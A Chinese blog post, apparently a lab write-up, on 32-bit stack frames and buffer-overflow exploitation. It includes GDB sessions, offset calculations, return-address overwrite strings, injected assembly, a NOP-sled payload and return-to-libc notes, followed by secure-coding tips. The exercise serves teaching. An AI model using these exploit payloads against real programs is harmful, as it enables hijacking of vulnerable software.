当前位置: 首页 > news >正文

计算机系统安全实验:栈帧结构与缓冲区溢出漏洞利用

1. 栈帧结构与缓冲区溢出基础

第一次接触缓冲区溢出漏洞时,我盯着GDB调试界面看了整整三小时。那感觉就像在拆解一个精密的瑞士手表——每个齿轮(寄存器)的转动都必须分毫不差。让我们从最基础的栈帧结构说起。

栈帧是函数调用的活动记录,包含三个关键部分:

  • 局部变量区:存放函数内部的临时变量
  • 保存的寄存器值:如ebp、ebx等
  • 返回地址:函数执行完后该回到哪里

在32位Linux系统中,典型的栈帧布局是这样的:

+-----------------+ | 参数n | ← 调用者的栈帧 | ... | | 参数1 | +-----------------+ | 返回地址 | ← 当前栈帧开始 +-----------------+ | 保存的ebp | +-----------------+ | 局部变量 | | ... | +-----------------+

缓冲区溢出就像往杯子里倒啤酒——当输入的泡沫(数据)超过杯子(缓冲区)容量时,就会溢出到桌面(其他内存区域)。通过精心构造输入数据,我们可以让溢出的部分覆盖返回地址,从而控制程序执行流。

2. GDB实战分析栈帧

让我们用GDB调试一个简单程序,观察栈帧的实际结构。假设有这样一个存在漏洞的函数:

void vulnerable() { char buffer[8]; gets(buffer); // 危险函数! }

编译时记得关闭保护机制:

gcc -fno-stack-protector -z execstack -g vuln.c -o vuln

在GDB中逐步执行:

(gdb) break vulnerable (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip = 0x80491d6 in vulnerable; saved eip = 0x8049321 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frame's sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c

这里可以看到:

  • 返回地址保存在0xffffd11c
  • buffer起始地址在ebp-0x8(32位系统)
  • 输入12个字符就能触及返回地址(8字节buffer + 4字节ebp)

3. 构造基础攻击载荷

以实验中的Level0为例,我们需要让程序跳转到smoke函数。关键步骤:

  1. 确定偏移量:通过反汇编找到buffer到返回地址的距离
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # buffer起始地址

这里buffer大小是0x28(40)字节,加上4字节旧ebp,总共需要44字节填充。

  1. 获取目标地址
08048bd2 <smoke>: 8048bd2: 55 push %ebp
  1. 构造攻击字符串
00 00 00 00 00 00 00 00 ← 40字节填充 00 00 00 00 ← 覆盖ebp d2 8b 04 08 ← smoke函数地址(小端序)

实测中可以用Python生成:

print(b"A"*44 + b"\xd2\x8b\x04\x08")

4. 进阶攻击技术

4.1 带参数攻击(Level1)

当需要调用如fizz(cookie)时,攻击字符串需要:

  1. 覆盖返回地址为fizz函数入口
  2. 在返回地址后放置cookie参数

栈帧布局变为:

[buffer填充][旧ebp][fizz地址][返回地址占位][cookie值]

关键技巧:

  • 参数位于ebp+8的位置
  • 使用占位符填充返回地址位置

4.2 代码注入(Level2)

当需要修改全局变量时,我们需要注入自定义汇编代码:

movl $0x5216b8f0, 0x804d100 # 将cookie写入全局变量 push $0x8048c49 # bang函数地址 ret

将其编译后获取机器码:

gcc -m32 -c bang.s objdump -d bang.o

攻击字符串结构:

[机器代码][填充][buffer地址]

其中buffer地址需要通过GDB调试获取:

(gdb) break getbuf (gdb) run (gdb) print /x $eax $1 = 0x55683228

5. 绕过防护机制

现代系统有多种防护措施,实验中我们主要面对两种:

5.1 栈不可执行(NX)

解决方案:复用已有代码(Return-to-libc)

  • 找到system()函数地址
  • 布置"/bin/sh"字符串
  • 构造调用链

5.2 地址随机化(ASLR)

应对方法:

  1. 使用nop雪橇技术
print(b"\x90"*100 + shellcode + return_address)
  1. 暴力破解(需要信息泄露)

6. 实验中的踩坑记录

在完成Level4时,我遇到了地址随机化的挑战。getbufn每次运行时栈地址都不同,解决方案是:

  1. 使用nop指令填充大部分空间
nop # 机器码0x90
  1. 将返回地址指向缓冲区高端地址
  2. 在高端地址放置有效载荷

通过GDB获取5次运行的地址范围:

0x55683048 0x55682ff8 0x55682fe8 0x55682fe8 0x55683038

选择最大地址0x55683048作为返回地址,确保总能滑入有效载荷区。

7. 安全编程建议

经历过这些实验后,我养成了这些编码习惯:

  • 永远使用strncpy代替strcpy
  • 对用户输入进行长度检查
  • 使用安全函数如snprintf
  • 开启编译器的栈保护选项

缓冲区溢出就像编程界的"不要用牙签掏耳朵"——看似小事,后果严重。理解攻击原理,才能写出更健壮的代码。

http://www.jsqmd.com/news/1189995/

相关文章:

  • 避坑式网安路线!90%新人都会学错的10个顺序,看完少走一年弯路
  • 从Q250机架到妙算/NX:拆解FAST-Lab 250mm自主无人机硬件选型逻辑
  • Dify Agent模式配置必须在24小时内完成的3项合规加固(GDPR/等保2.0双标适配实录)
  • 【冷冻电镜】IMOD实战:从零构建双轴断层图(Etomo全流程解析)
  • 车型识别 车型检测数据集 suv识别 车辆计数 面包车检测
  • 北京产检、孕期就诊不方便?正规头部陪诊守嘉陪诊,专属孕期温和陪护服务 - 深鉴新闻
  • AI 检索品牌可见度提升方案:五大GEO服务商实力全景 - 资讯纵览
  • 2026界面清爽八字排盘工具怎么选:看字段层级、模块显隐和广告干扰
  • 模板驱动文档自动化:结构化内容复用与智能渲染实战
  • PixWorld:像素空间3D场景生成与重建统一框架实践指南
  • Gitee 企业版测试管理流程优化:四大模块闭环能力再提升
  • Ollama API尚未公开的调试模式启用方法(隐藏flag --verbose=3实测有效),仅限前1000名开发者知晓
  • TLA2518与STM32F745VG的ADC系统设计与优化
  • 微信小程序web-view组件开发实战与优化指南
  • 量化对冲基金公司-Agent或者AI相关职位
  • Python实战:从零构建中文词频分析器——jieba分词、停用词过滤与结果可视化
  • YOLOv11数字识别检测系统:工业质检实战解析
  • 021-如何精准选择学习概念
  • 跨平台落地:C#上位机AI视觉系统在Windows/Linux工控机的统一实现
  • Linux EEVDF调度算法核心公式解析与调优实践
  • 卡美德生物科普NGF(神经生长因子):神经系统发育与修复的关键调节因子
  • Docker构建时外网访问配置与优化指南
  • Simulink——数据字典与信号对象的实战配置
  • YOLO+SAM 落地实录:别被Demo骗了,这才是检测分割一体化的工程真相
  • 【一线大厂Java面试题合集】第73篇-Feed流系统设计
  • RK3588 推理优化:多线程、零拷贝与内存管理
  • SKILL.md标准化文档:提升智能体开发效率的关键
  • 2026年7月最新海口积家官方售后客户服务热线与维修网点地址汇总 - 积家官方售后服务中心
  • 负氧离子检测仪靠什么精准读数?电容吸入法工作全过程讲解
  • 合同管理系统选型:智能与AI时代的能力重塑